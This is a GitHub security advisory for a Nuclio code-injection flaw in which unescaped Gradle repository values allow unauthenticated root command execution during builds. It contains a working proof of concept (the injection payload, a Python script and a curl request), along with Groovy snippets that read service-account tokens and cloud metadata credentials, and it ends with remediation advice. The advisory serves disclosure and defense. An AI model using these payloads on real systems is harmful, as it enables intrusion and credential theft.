Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8355 vulnerabilities reference this CWE, most recent first.

GHSA-3V79-M2CG-89WW

Vulnerability from github – Published: 2026-07-16 19:40 – Updated: 2026-07-16 19:40
VLAI
Summary
Nuclio: Unsanitized runtimeAttributes.repositories injected into Groovy build.gradle leads to build-time RCE
Details

Summary

Nuclio's Java runtime generates a build.gradle file during function builds using Go's text/template package. The template renders runtimeAttributes.repositories[] values with the {{ . }} action, which performs no escaping. An attacker can embed a closing brace (}) to break out of the repositories {} block and append arbitrary Groovy statements that execute unconditionally during the Gradle configuration phase.

The Dashboard API runs with NOP authentication by default, so no credentials are required. The build container runs as root. The injected command output confirmed by dynamic testing:

[RCE-PROOF] uid=0(root) gid=0(root) groups=0(root)
nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr
root
BUILD SUCCESSFUL in 512ms
  • CWE: CWE-94 (Improper Control of Generation of Code / Code Injection)
  • Affected versions: Nuclio <= 1.15.27 (latest as of 2026-05-17, dynamically verified)

Details

Root Cause

pkg/processor/build/runtime/java/runtime.go — function createGradleBuildScript()

Step 1. User input flows from the API into the template data map without validation

types.go:50-64 — newBuildAttributes() decodes runtimeAttributes with no content inspection. Any string is accepted for each element of Repositories:

// pkg/processor/build/runtime/java/types.go:50-64
func newBuildAttributes(encodedBuildAttributes map[string]interface{}) (*buildAttributes, error) {
    newBuildAttributes := buildAttributes{}
    if err := mapstructure.Decode(encodedBuildAttributes, &newBuildAttributes); err != nil {
        return nil, errors.Wrap(err, "Failed to decode build attributes")
    }
    if len(newBuildAttributes.Repositories) == 0 {
        newBuildAttributes.Repositories = []string{"mavenCentral()"}
    }
    return &newBuildAttributes, nil  // no validation of repository string contents
}

Step 2. text/template renders repositories verbatim into Groovy DSL

runtime.go:111,139 — the template is parsed with text/template, which does not HTML-encode or escape special characters. {{ . }} emits each repository string as-is:

// runtime.go:111
gradleBuildScriptTemplate, err := template.New("gradleBuildScript").Parse(j.getGradleBuildScriptTemplateContents())

// runtime.go:139
err = gradleBuildScriptTemplate.Execute(io.MultiWriter(&gradleBuildScriptTemplateBuffer, buildFile), data)

The template section for repositories (runtime.go:155-159):

repositories {
    {{ range .Repositories }}
    {{ . }}
    {{ end }}
}

{{ . }} is the verbatim output action. Because text/template (unlike html/template) applies no contextual escaping, any character — including }, (, ), newlines — is written directly to the .gradle file.

Step 3. Gradle evaluates the injected Groovy at configuration phase

The generated build.gradle is passed to ./build-user-handler.sh inside the quay.io/nuclio/handler-builder-java-onbuild container. That script runs:

gradle tasks       # configuration phase: top-level Groovy runs
gradle userHandler # configuration phase: top-level Groovy runs again

Groovy evaluates every top-level statement in build.gradle before executing any task. Injected code therefore runs unconditionally on both invocations.

Injection Mechanics

Payload for repositories[0]:

mavenCentral()
}
println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text)
repositories {

Generated build.gradle (confirmed by Dashboard DEBUG log at path /tmp/nuclio-build-378373988/staging/handler/build.gradle):

plugins {
  id 'com.github.johnrengelman.shadow' version '5.2.0'
  id 'java'
}

repositories {

    mavenCentral()
}
println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text)
repositories {

}

dependencies {
    compile files('./nuclio-sdk-java-1.1.0.jar')
}

shadowJar {
   baseName = 'user-handler'
   classifier = null
}

task userHandler(dependsOn: shadowJar)

The } on line 9 closes the repositories {} block. println(...) on line 10 becomes a top-level Groovy statement. repositories { on line 11 re-opens a new block that the template's trailing } correctly closes, making the entire file syntactically valid.

Groovy's List.execute() extension method (e.g., ['sh', '-c', 'cmd'].execute()) runs an OS process. .text captures its standard output. The injected println logs the output to Gradle's stdout, which appears in the kaniko executor log.

Proof of Concept

Environment Setup

The following steps reproduce the verified environment. All commands were executed and verified on 2026-05-17.

1. Create a dedicated kind cluster

cat > /tmp/kind-vul006.yaml <<'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
  extraPortMappings:
  - containerPort: 8070
    hostPort: 8070
    protocol: TCP
- role: worker
EOF

kind create cluster --name vul-006 --config /tmp/kind-vul006.yaml

Expected output:

Creating cluster "vul-006" ...
 ✓ Ensuring node image (kindest/node:v1.27.3)
 ✓ Preparing nodes
 ✓ Writing configuration
 ✓ Starting control-plane
 ✓ Installing CNI
 ✓ Installing StorageClass
 ✓ Joining worker nodes
Set kubectl context to "kind-vul-006"

2. Pre-load required images

# Pull images on host
docker pull quay.io/nuclio/dashboard:1.15.27-amd64
docker pull quay.io/nuclio/controller:1.15.27-amd64
docker pull gcr.io/kaniko-project/executor:v1.23.2
docker pull quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64

# Load into kind cluster
kind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-006
kind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-006
kind load docker-image gcr.io/kaniko-project/executor:v1.23.2 --name vul-006
kind load docker-image quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64 --name vul-006

3. Deploy a local image registry accessible from kind nodes

# Start registry (reuse existing if present)
docker run -d --name kind-registry --restart=always \
  --network kind -p 127.0.0.1:5001:5000 registry:2

# Verify kind nodes can reach it
REGISTRY_IP=$(docker inspect kind-registry \
  --format '{{(index .NetworkSettings.Networks "kind").IPAddress}}')
docker exec vul-006-control-plane curl -s http://${REGISTRY_IP}:5000/v2/
# Expected: {}

4. Install Nuclio via Helm

kubectl --context kind-vul-006 create namespace nuclio

cat > /tmp/nuclio-values.yaml <<'EOF'
dashboard:
  enabled: true
  containerBuilderKind: "kaniko"
  monitorDockerDeamon:
    enabled: false
  image:
    pullPolicy: IfNotPresent
  kaniko:
    insecurePushRegistry: true
    insecurePullRegistry: true
    initContainerImage:
      busybox:
        repository: gcr.io/iguazio/alpine   # substitute for busybox if Docker Hub rate-limited
        tag: "3.20"

registry:
  pushPullUrl: "kind-registry:5000"

controller:
  enabled: true
  image:
    pullPolicy: IfNotPresent

rbac:
  create: true
  crdAccessMode: cluster
EOF

helm install nuclio ./hack/k8s/helm/nuclio \
  --namespace nuclio \
  --kube-context kind-vul-006 \
  -f /tmp/nuclio-values.yaml \
  --wait --timeout 120s

Expected output:

NAME: nuclio
STATUS: deployed
REVISION: 1

5. Expose the Dashboard and verify connectivity

kubectl --context kind-vul-006 port-forward \
  -n nuclio svc/nuclio-dashboard 8070:8070 &

# Wait for readiness
sleep 5
curl -s http://localhost:8070/api/functions -o /dev/null -w "HTTP %{http_code}\n"
# Expected: HTTP 200

# Create the default project required by the API
curl -s -X POST http://localhost:8070/api/projects \
  -H "Content-Type: application/json" \
  -d '{"metadata":{"name":"default","namespace":"nuclio"},"spec":{}}'

Exploitation Steps

Step 1 — Send the malicious function definition

The runtimeAttributes.repositories field accepts any string. Use Python to build a correctly escaped JSON payload:

import json, base64

# Minimal valid Java handler source
java_src = """import io.nuclio.Context;
import io.nuclio.Event;
public class Handler implements io.nuclio.EventHandler {
    @Override
    public Object handleEvent(Context ctx, Event event) { return "hello"; }
}"""

# Injection: close the repositories block, run a command, re-open the block
injection = (
    "mavenCentral()\n"
    "}\n"
    "println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text)\n"
    "repositories {"
)

payload = {
    "metadata": {"name": "vul006-test", "namespace": "nuclio"},
    "spec": {
        "runtime": "java",
        "handler": "io.nuclio.Handler",
        "build": {
            "functionSourceCode": base64.b64encode(java_src.encode()).decode(),
            "runtimeAttributes": {"repositories": [injection]}
        },
        "minReplicas": 0, "maxReplicas": 1
    }
}

with open("/tmp/payload.json", "w") as f:
    json.dump(payload, f)

HTTP_CODE=$(curl -s -o /tmp/response.json -w "%{http_code}" \
    -X POST http://localhost:8070/api/functions \
    -H "Content-Type: application/json" \
    -H "x-nuclio-project-name: default" \
    -d @/tmp/payload.json)
echo "HTTP: ${HTTP_CODE}"

Expected output:

HTTP: 202

No authentication required. No validation error for the injected repository value.

Step 2 — Confirm template injection in the Dashboard DEBUG log

kubectl --context kind-vul-006 logs \
    -n nuclio deploy/nuclio-dashboard --tail=100 \
    | grep "Created gradle build script" \
    | python3 -c "
import sys, json, re
for line in sys.stdin:
    m = re.search(r'Created gradle build script ({.*})', line)
    if m:
        print(json.loads(m.group(1))['content'])
"

Actual output (from verified run):

plugins {
  id 'com.github.johnrengelman.shadow' version '5.2.0'
  id 'java'
}

repositories {

    mavenCentral()
}
println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text)
repositories {

}

dependencies {

    compile files('./nuclio-sdk-java-1.1.0.jar')
}

shadowJar {
   baseName = 'user-handler'
   classifier = null
}

task userHandler(dependsOn: shadowJar)

The Dashboard DEBUG log (path logged: /tmp/nuclio-build-378373988/staging/handler/build.gradle) confirms the injected Groovy reached the file verbatim.

Step 3 — Wait for the kaniko build job and observe RCE output

# Wait for the kaniko pod to appear
until kubectl --context kind-vul-006 get pods -n nuclio --no-headers \
    | grep -q "kaniko"; do sleep 2; done

POD=$(kubectl --context kind-vul-006 get pods -n nuclio --no-headers \
    | grep kaniko | awk '{print $1}')
echo "Build pod: ${POD}"

# Wait for completion
until kubectl --context kind-vul-006 get pod -n nuclio "${POD}" \
    --no-headers | grep -qE "Completed|Error"; do sleep 3; done

# Retrieve execution evidence
kubectl --context kind-vul-006 logs -n nuclio "${POD}" \
    -c kaniko-executor | grep -A3 "RCE-PROOF"

Actual output (from verified run, pod nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr):

[RCE-PROOF] uid=0(root) gid=0(root) groups=0(root)
nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr
root
BUILD SUCCESSFUL in 2s

[RCE-PROOF] uid=0(root) gid=0(root) groups=0(root)
nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr
root
BUILD SUCCESSFUL in 512ms

The marker [RCE-PROOF] appears twice — once per gradle invocation (gradle tasks and gradle userHandler). The output confirms: - uid=0(root) — execution as root inside the builder container - The pod name as hostname — confirms execution is inside the real build container, not simulated - root — whoami output corroborates the UID

Cleanup

kubectl --context kind-vul-006 delete nucliofunction vul006-test -n nuclio
kind delete cluster --name vul-006

Impact

Direct Impact

An unauthenticated attacker can execute arbitrary OS commands as root inside the function builder container on every Java function build. Confirmed capabilities from the build container environment:

  • Read/write the build container filesystem
  • Access network endpoints reachable from the build pod
  • Tamper with the compiled function artifact (.jar) before it is packaged into the processor image — effectively poisoning the resulting function's image

Privilege Escalation — Docker Socket Escape (Verified: NOT directly exploitable in default configuration)

Verification result: In the default docker builder configuration, direct Docker socket escape via Gradle code injection is NOT exploitable.

Environment

  • Cluster: kind-vul-009, Nuclio v1.15.27-amd64
  • Builder: NUCLIO_CONTAINER_BUILDER_KIND=docker (confirmed via kubectl describe)
  • Dashboard pod: nuclio-dashboard-5f8ddc949c-sfzh4
  • Verified: 2026-05-19 06:21 UTC

docker.sock Mount Confirmed on Dashboard Pod

Mounts:
  /var/run/docker.sock from docker-sock (rw)

Volumes:
  docker-sock:
    Type:     HostPath (bare host directory volume)
    Path:     /var/run/docker.sock

The Docker socket is accessible within the Dashboard container itself (Docker v29.1.2 API confirmed reachable).

Build Flow in docker Builder Mode

Nuclio generates a Dockerfile.onbuild and submits it to Docker daemon via the socket:

FROM quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64
COPY handler/build.gradle /home/gradle/src/userHandler
COPY ${NUCLIO_BUILD_LOCAL_HANDLER_DIR} /home/gradle/src/userHandler
RUN cd /home/gradle/src/userHandler && ./build-user-handler.sh   # Gradle executes here

Actual command issued (from Dashboard DEBUG log):

docker build --network host --force-rm -t nuclio-onbuild-d8602mam53lc7e12q410 \
  -f Dockerfile.onbuild --build-arg NUCLIO_LABEL=1.15.27 ...

Probe Results (Step 7/9 RUN Layer)

Injection payload in repositories[0]:

mavenCentral()
}
println('[PROBE-1] docker.sock exists: ' + new File('/var/run/docker.sock').exists())
println('[PROBE-2] ' + ['sh', '-c', 'ls -la /var/run/docker.sock 2>&1 || echo NOT_FOUND'].execute().text)
println('[PROBE-ENV] hostname=' + ['sh', '-c', 'hostname'].execute().text.trim())
repositories {

Gradle output (captured twice — once per gradle tasks / gradle userHandler invocation):

> Configure project :
[PROBE-1] docker.sock exists: false
[PROBE-2] ls: cannot access '/var/run/docker.sock': No such file or directory
NOT_FOUND

[PROBE-ENV] hostname=VM-0-8-ubuntu

BUILD SUCCESSFUL in 2s

The RCE executed successfully. The docker.sock does not exist inside the RUN-stage container.

Root Cause

Each RUN instruction in a docker build executes inside an isolated intermediate container (b747a20b21ba). That container:

  1. Has a filesystem built from image layers only — it does not inherit volume mounts from the caller (the Dashboard container).
  2. --network host shares the host network namespace (explaining hostname=VM-0-8-ubuntu) but does not share the filesystem.
  3. Docker daemon never exposes the host filesystem (including /var/run/docker.sock) to build-stage containers unless the Dockerfile explicitly arranges it.

Conditions Required for Exploitability

This path becomes exploitable only under non-default configurations:

  • Dockerfile with explicit socket bind: e.g., BuildKit --mount=type=bind,source=/var/run/docker.sock,... in the onbuild image, or replacing docker build with docker run -v /var/run/docker.sock:/var/run/docker.sock
  • Privileged build containers: --privileged mode with mknod device node creation
  • Docker-in-Docker setup: Docker daemon pre-installed and launched inside the builder image

None of these conditions exist in the standard Nuclio Helm chart deployment.

Evidence: evidence/logs/docker-builder-socket-probe.log

Privilege Escalation — Kubernetes ServiceAccount Token

The build pod can read the ServiceAccount token mounted within it. However, the kaniko Job's serviceAccountName is sourced from builderServiceAccount, function serviceAccount, kaniko.defaultServiceAccount, or the platform's default function SA (see pkg/containerimagebuilderpusher/kaniko.go:301, :375, :840-849). This is not inherently the same as the Nuclio Dashboard's high-privilege ServiceAccount.

In deployments where the build pod uses a high-privilege ServiceAccount (e.g., where an administrator has bound overly broad RBAC roles to the builder SA), an attacker can read the token and query the Kubernetes API:

// Read the build pod's own SA token (not the Dashboard SA)
def token = new File('/var/run/secrets/kubernetes.io/serviceaccount/token').text
['sh', '-c', "curl -sk -H 'Authorization: Bearer ${token}' " +
 'https://kubernetes.default.svc/api/v1/namespaces/nuclio/secrets'].execute().text

The effective permissions of this token depend on the RBAC bindings of the build pod's ServiceAccount. Under least-privilege configurations, this token may not be able to access sensitive resources.

Cross-Tenant Access (Horizontal Escalation)

Nuclio uses Kubernetes namespaces for tenant isolation. Build containers in docker mode share the host Docker daemon. An attacker can enumerate and access containers belonging to other tenants via the Docker socket.

Cloud Instance Metadata (SSRF — Managed Kubernetes)

In EKS, GKE, or AKS environments, the build container can reach the cloud instance metadata service:

// AWS IMDSv2 — retrieve IAM role credentials
def imdsToken = ['sh', '-c',
    'curl -s -X PUT "http://169.254.169.254/latest/api/token" ' +
    '-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"'].execute().text.trim()
def role = ['sh', '-c',
    "curl -s -H 'X-aws-ec2-metadata-token: ${imdsToken}' " +
    'http://169.254.169.254/latest/meta-data/iam/security-credentials/'].execute().text

Obtained temporary IAM credentials grant access to AWS services (ECR, S3, etc.) available to the node's IAM role.

Severity

CVSS 3.1 Score: 10.0 (Critical)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Metric Value Rationale
Attack Vector Network Dashboard API is network-accessible
Attack Complexity Low Single POST request; no race condition or special preparation
Privileges Required None Default NOP authentication requires no credentials
User Interaction None No user action required
Scope Changed Impact can escape the build container under common production deployments (see below)
Confidentiality High Registry credentials, SA tokens, cloud credentials readable in most deployments
Integrity High Function images can be tampered; cluster resources modifiable
Availability High Build pipeline can be disrupted; cluster resources deletable

Rating Rationale

This RCE has realistic conditions for further credential acquisition and lateral movement from the build container. In particular, under the following common production deployment scenarios:

  • Kaniko builds use registry secrets (image push credentials mounted into the build pod)
  • ECR registry provider secrets are configured
  • Node IAM metadata is reachable (IMDS not blocked)
  • Build pods use a high-privilege ServiceAccount

An attacker can read image registry credentials, AWS/GCP temporary credentials, or Kubernetes SA tokens, and subsequently poison the image registry, access cluster resources, or pivot to cloud resources. A Critical rating is justified under these common deployment conditions.

Downgrade conditions: If a deployment follows least-privilege principles — no registry/cloud credential mounts, IMDS blocked, build SA has no sensitive RBAC bindings — the impact is primarily limited to code execution within the build container and artifact tampering. This remains High severity but should not be justified on the basis of "default lateral movement."

Affected Versions

  • Nuclio <= 1.15.27 (latest release as of 2026-05-17)
  • All versions that include the Java runtime build path (pkg/processor/build/runtime/java/runtime.go)

The vulnerability was introduced when the Java runtime and its runtimeAttributes support were added and has not been addressed in any release to date.

Patched Versions

https://github.com/nuclio/nuclio/releases/tag/1.16.5

Workarounds

Until a patch is released, the following mitigations reduce exposure:

  1. Enable authentication on the Dashboard. Set NUCLIO_AUTH_KIND to a non-NOP authenticator (e.g., iguazio). This prevents unauthenticated access to the function creation API.

  2. Network-restrict the Dashboard port (8070). Allow access only from trusted internal networks or VPN. Do not expose the Dashboard to the public internet.

  3. Disable Java runtime support if not in use. Remove the Java runtime handler from the dashboard deployment configuration.

  4. Use kaniko over docker builder. In kaniko mode the Docker socket is not mounted, eliminating the host-escape path. The build-time RCE remains exploitable, but the blast radius is reduced to the build pod.

Remediation Recommendations

Option 1 — Input validation (recommended for quick fix)

In newBuildAttributes() (types.go:50), validate each repository string against an allowlist pattern before accepting it:

import "regexp"

var repoPattern = regexp.MustCompile(`^[a-zA-Z0-9_\-\(\)\.:\/]+$`)

for _, repo := range newBuildAttributes.Repositories {
    if !repoPattern.MatchString(repo) {
        return nil, fmt.Errorf("invalid repository value: %q", repo)
    }
}

Option 2 — Replace text/template with a safe rendering approach

The repositories block should not use a Go template at all. Build the build.gradle content programmatically using string concatenation with per-value validation, rather than via a template that cannot express per-field escaping semantics.

Option 3 — Content Security: reject newlines and Groovy metacharacters

Reject any repository value containing \n, \r, {, }, (, ), ', ". These characters are not present in valid Maven repository declarations.

Resources

  • pkg/processor/build/runtime/java/runtime.go — createGradleBuildScript() (line 87)
  • pkg/processor/build/runtime/java/runtime.go — getGradleBuildScriptTemplateContents() (line 149)
  • pkg/processor/build/runtime/java/types.go — newBuildAttributes() (line 50)
  • Go text/template documentation: https://pkg.go.dev/text/template
  • Groovy List.execute() / String.execute(): https://docs.groovy-lang.org/latest/html/groovy-jdk/java/lang/String.html#execute()
  • Nuclio Dashboard authentication configuration: https://nuclio.io/docs/latest/reference/api/nuclio_dashboard_api/
Severity
8.0 (High)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/nuclio/nuclio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.16.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52833"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-16T19:40:53Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nNuclio\u0027s Java runtime generates a `build.gradle` file during function builds using Go\u0027s `text/template` package. The template renders `runtimeAttributes.repositories[]` values with the `{{ . }}` action, which performs no escaping. An attacker can embed a closing brace (`}`) to break out of the `repositories {}` block and append arbitrary Groovy statements that execute unconditionally during the Gradle configuration phase.\n\nThe Dashboard API runs with NOP authentication by default, so no credentials are required. The build container runs as root. The injected command output confirmed by dynamic testing:\n\n```\n[RCE-PROOF] uid=0(root) gid=0(root) groups=0(root)\nnuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr\nroot\nBUILD SUCCESSFUL in 512ms\n```\n\n- **CWE**: CWE-94 (Improper Control of Generation of Code / Code Injection)\n- **Affected versions**: Nuclio \u003c= 1.15.27 (latest as of 2026-05-17, dynamically verified)\n\n---\n\n## Details\n\n### Root Cause\n\n`pkg/processor/build/runtime/java/runtime.go` \u2014 function `createGradleBuildScript()`\n\n**Step 1. User input flows from the API into the template data map without validation**\n\n`types.go:50-64` \u2014 `newBuildAttributes()` decodes `runtimeAttributes` with no content inspection. Any string is accepted for each element of `Repositories`:\n\n```go\n// pkg/processor/build/runtime/java/types.go:50-64\nfunc newBuildAttributes(encodedBuildAttributes map[string]interface{}) (*buildAttributes, error) {\n    newBuildAttributes := buildAttributes{}\n    if err := mapstructure.Decode(encodedBuildAttributes, \u0026newBuildAttributes); err != nil {\n        return nil, errors.Wrap(err, \"Failed to decode build attributes\")\n    }\n    if len(newBuildAttributes.Repositories) == 0 {\n        newBuildAttributes.Repositories = []string{\"mavenCentral()\"}\n    }\n    return \u0026newBuildAttributes, nil  // no validation of repository string contents\n}\n```\n\n**Step 2. `text/template` renders repositories verbatim into Groovy DSL**\n\n`runtime.go:111,139` \u2014 the template is parsed with `text/template`, which does not HTML-encode or escape special characters. `{{ . }}` emits each repository string as-is:\n\n```go\n// runtime.go:111\ngradleBuildScriptTemplate, err := template.New(\"gradleBuildScript\").Parse(j.getGradleBuildScriptTemplateContents())\n\n// runtime.go:139\nerr = gradleBuildScriptTemplate.Execute(io.MultiWriter(\u0026gradleBuildScriptTemplateBuffer, buildFile), data)\n```\n\nThe template section for repositories (`runtime.go:155-159`):\n\n```\nrepositories {\n    {{ range .Repositories }}\n    {{ . }}\n    {{ end }}\n}\n```\n\n`{{ . }}` is the verbatim output action. Because `text/template` (unlike `html/template`) applies no contextual escaping, any character \u2014 including `}`, `(`, `)`, newlines \u2014 is written directly to the `.gradle` file.\n\n**Step 3. Gradle evaluates the injected Groovy at configuration phase**\n\nThe generated `build.gradle` is passed to `./build-user-handler.sh` inside the `quay.io/nuclio/handler-builder-java-onbuild` container. That script runs:\n\n```sh\ngradle tasks       # configuration phase: top-level Groovy runs\ngradle userHandler # configuration phase: top-level Groovy runs again\n```\n\nGroovy evaluates every top-level statement in `build.gradle` before executing any task. Injected code therefore runs unconditionally on both invocations.\n\n### Injection Mechanics\n\nPayload for `repositories[0]`:\n\n```\nmavenCentral()\n}\nprintln(\u0027[RCE-PROOF] \u0027 + [\u0027sh\u0027, \u0027-c\u0027, \u0027id \u0026\u0026 hostname \u0026\u0026 whoami\u0027].execute().text)\nrepositories {\n```\n\nGenerated `build.gradle` (confirmed by Dashboard DEBUG log at path `/tmp/nuclio-build-378373988/staging/handler/build.gradle`):\n\n```groovy\nplugins {\n  id \u0027com.github.johnrengelman.shadow\u0027 version \u00275.2.0\u0027\n  id \u0027java\u0027\n}\n\nrepositories {\n\n    mavenCentral()\n}\nprintln(\u0027[RCE-PROOF] \u0027 + [\u0027sh\u0027, \u0027-c\u0027, \u0027id \u0026\u0026 hostname \u0026\u0026 whoami\u0027].execute().text)\nrepositories {\n\n}\n\ndependencies {\n    compile files(\u0027./nuclio-sdk-java-1.1.0.jar\u0027)\n}\n\nshadowJar {\n   baseName = \u0027user-handler\u0027\n   classifier = null\n}\n\ntask userHandler(dependsOn: shadowJar)\n```\n\nThe `}` on line 9 closes the `repositories {}` block. `println(...)` on line 10 becomes a top-level Groovy statement. `repositories {` on line 11 re-opens a new block that the template\u0027s trailing `}` correctly closes, making the entire file syntactically valid.\n\nGroovy\u0027s `List.execute()` extension method (e.g., `[\u0027sh\u0027, \u0027-c\u0027, \u0027cmd\u0027].execute()`) runs an OS process. `.text` captures its standard output. The injected `println` logs the output to Gradle\u0027s stdout, which appears in the kaniko executor log.\n\n---\n\n## Proof of Concept\n\n### Environment Setup\n\nThe following steps reproduce the verified environment. All commands were executed and verified on 2026-05-17.\n\n#### 1. Create a dedicated kind cluster\n\n```bash\ncat \u003e /tmp/kind-vul006.yaml \u003c\u003c\u0027EOF\u0027\nkind: Cluster\napiVersion: kind.x-k8s.io/v1alpha4\nnodes:\n- role: control-plane\n  extraPortMappings:\n  - containerPort: 8070\n    hostPort: 8070\n    protocol: TCP\n- role: worker\nEOF\n\nkind create cluster --name vul-006 --config /tmp/kind-vul006.yaml\n```\n\nExpected output:\n```\nCreating cluster \"vul-006\" ...\n \u2713 Ensuring node image (kindest/node:v1.27.3)\n \u2713 Preparing nodes\n \u2713 Writing configuration\n \u2713 Starting control-plane\n \u2713 Installing CNI\n \u2713 Installing StorageClass\n \u2713 Joining worker nodes\nSet kubectl context to \"kind-vul-006\"\n```\n\n#### 2. Pre-load required images\n\n```bash\n# Pull images on host\ndocker pull quay.io/nuclio/dashboard:1.15.27-amd64\ndocker pull quay.io/nuclio/controller:1.15.27-amd64\ndocker pull gcr.io/kaniko-project/executor:v1.23.2\ndocker pull quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64\n\n# Load into kind cluster\nkind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-006\nkind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-006\nkind load docker-image gcr.io/kaniko-project/executor:v1.23.2 --name vul-006\nkind load docker-image quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64 --name vul-006\n```\n\n#### 3. Deploy a local image registry accessible from kind nodes\n\n```bash\n# Start registry (reuse existing if present)\ndocker run -d --name kind-registry --restart=always \\\n  --network kind -p 127.0.0.1:5001:5000 registry:2\n\n# Verify kind nodes can reach it\nREGISTRY_IP=$(docker inspect kind-registry \\\n  --format \u0027{{(index .NetworkSettings.Networks \"kind\").IPAddress}}\u0027)\ndocker exec vul-006-control-plane curl -s http://${REGISTRY_IP}:5000/v2/\n# Expected: {}\n```\n\n#### 4. Install Nuclio via Helm\n\n```bash\nkubectl --context kind-vul-006 create namespace nuclio\n\ncat \u003e /tmp/nuclio-values.yaml \u003c\u003c\u0027EOF\u0027\ndashboard:\n  enabled: true\n  containerBuilderKind: \"kaniko\"\n  monitorDockerDeamon:\n    enabled: false\n  image:\n    pullPolicy: IfNotPresent\n  kaniko:\n    insecurePushRegistry: true\n    insecurePullRegistry: true\n    initContainerImage:\n      busybox:\n        repository: gcr.io/iguazio/alpine   # substitute for busybox if Docker Hub rate-limited\n        tag: \"3.20\"\n\nregistry:\n  pushPullUrl: \"kind-registry:5000\"\n\ncontroller:\n  enabled: true\n  image:\n    pullPolicy: IfNotPresent\n\nrbac:\n  create: true\n  crdAccessMode: cluster\nEOF\n\nhelm install nuclio ./hack/k8s/helm/nuclio \\\n  --namespace nuclio \\\n  --kube-context kind-vul-006 \\\n  -f /tmp/nuclio-values.yaml \\\n  --wait --timeout 120s\n```\n\nExpected output:\n```\nNAME: nuclio\nSTATUS: deployed\nREVISION: 1\n```\n\n#### 5. Expose the Dashboard and verify connectivity\n\n```bash\nkubectl --context kind-vul-006 port-forward \\\n  -n nuclio svc/nuclio-dashboard 8070:8070 \u0026\n\n# Wait for readiness\nsleep 5\ncurl -s http://localhost:8070/api/functions -o /dev/null -w \"HTTP %{http_code}\\n\"\n# Expected: HTTP 200\n\n# Create the default project required by the API\ncurl -s -X POST http://localhost:8070/api/projects \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"metadata\":{\"name\":\"default\",\"namespace\":\"nuclio\"},\"spec\":{}}\u0027\n```\n\n### Exploitation Steps\n\n#### Step 1 \u2014 Send the malicious function definition\n\nThe `runtimeAttributes.repositories` field accepts any string. Use Python to build a\ncorrectly escaped JSON payload:\n\n```python\nimport json, base64\n\n# Minimal valid Java handler source\njava_src = \"\"\"import io.nuclio.Context;\nimport io.nuclio.Event;\npublic class Handler implements io.nuclio.EventHandler {\n    @Override\n    public Object handleEvent(Context ctx, Event event) { return \"hello\"; }\n}\"\"\"\n\n# Injection: close the repositories block, run a command, re-open the block\ninjection = (\n    \"mavenCentral()\\n\"\n    \"}\\n\"\n    \"println(\u0027[RCE-PROOF] \u0027 + [\u0027sh\u0027, \u0027-c\u0027, \u0027id \u0026\u0026 hostname \u0026\u0026 whoami\u0027].execute().text)\\n\"\n    \"repositories {\"\n)\n\npayload = {\n    \"metadata\": {\"name\": \"vul006-test\", \"namespace\": \"nuclio\"},\n    \"spec\": {\n        \"runtime\": \"java\",\n        \"handler\": \"io.nuclio.Handler\",\n        \"build\": {\n            \"functionSourceCode\": base64.b64encode(java_src.encode()).decode(),\n            \"runtimeAttributes\": {\"repositories\": [injection]}\n        },\n        \"minReplicas\": 0, \"maxReplicas\": 1\n    }\n}\n\nwith open(\"/tmp/payload.json\", \"w\") as f:\n    json.dump(payload, f)\n```\n\n```bash\nHTTP_CODE=$(curl -s -o /tmp/response.json -w \"%{http_code}\" \\\n    -X POST http://localhost:8070/api/functions \\\n    -H \"Content-Type: application/json\" \\\n    -H \"x-nuclio-project-name: default\" \\\n    -d @/tmp/payload.json)\necho \"HTTP: ${HTTP_CODE}\"\n```\n\nExpected output:\n```\nHTTP: 202\n```\n\nNo authentication required. No validation error for the injected repository value.\n\n#### Step 2 \u2014 Confirm template injection in the Dashboard DEBUG log\n\n```bash\nkubectl --context kind-vul-006 logs \\\n    -n nuclio deploy/nuclio-dashboard --tail=100 \\\n    | grep \"Created gradle build script\" \\\n    | python3 -c \"\nimport sys, json, re\nfor line in sys.stdin:\n    m = re.search(r\u0027Created gradle build script ({.*})\u0027, line)\n    if m:\n        print(json.loads(m.group(1))[\u0027content\u0027])\n\"\n```\n\nActual output (from verified run):\n```\nplugins {\n  id \u0027com.github.johnrengelman.shadow\u0027 version \u00275.2.0\u0027\n  id \u0027java\u0027\n}\n\nrepositories {\n\n\tmavenCentral()\n}\nprintln(\u0027[RCE-PROOF] \u0027 + 